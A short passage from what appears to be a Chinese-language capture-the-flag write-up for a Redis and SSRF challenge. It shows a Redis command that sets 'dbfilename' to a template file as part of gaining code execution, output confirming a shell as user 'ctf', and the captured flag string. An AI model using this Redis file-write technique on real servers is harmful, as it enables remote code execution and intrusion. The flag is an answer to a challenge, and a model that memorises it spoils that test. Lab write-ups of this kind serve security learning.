1 | q 'CONFIG SET dbfilename pwn.tpl'; q 'DEL zz' |
輸出裡有 uid=1000(ctf) ...。RCE 到手,那就把 fx 換成 /flag:
1 | NHNC{wH0is_t0_R3d1s_s5Rf_Tq9x_Z7mP_843430e2c6f34093ae2d5a053b752c62} |
NHNC{wH0is_t0_R3d1s_s5Rf_Tq9x_Z7mP_843430e2c6f34093ae2d5a053b752c62}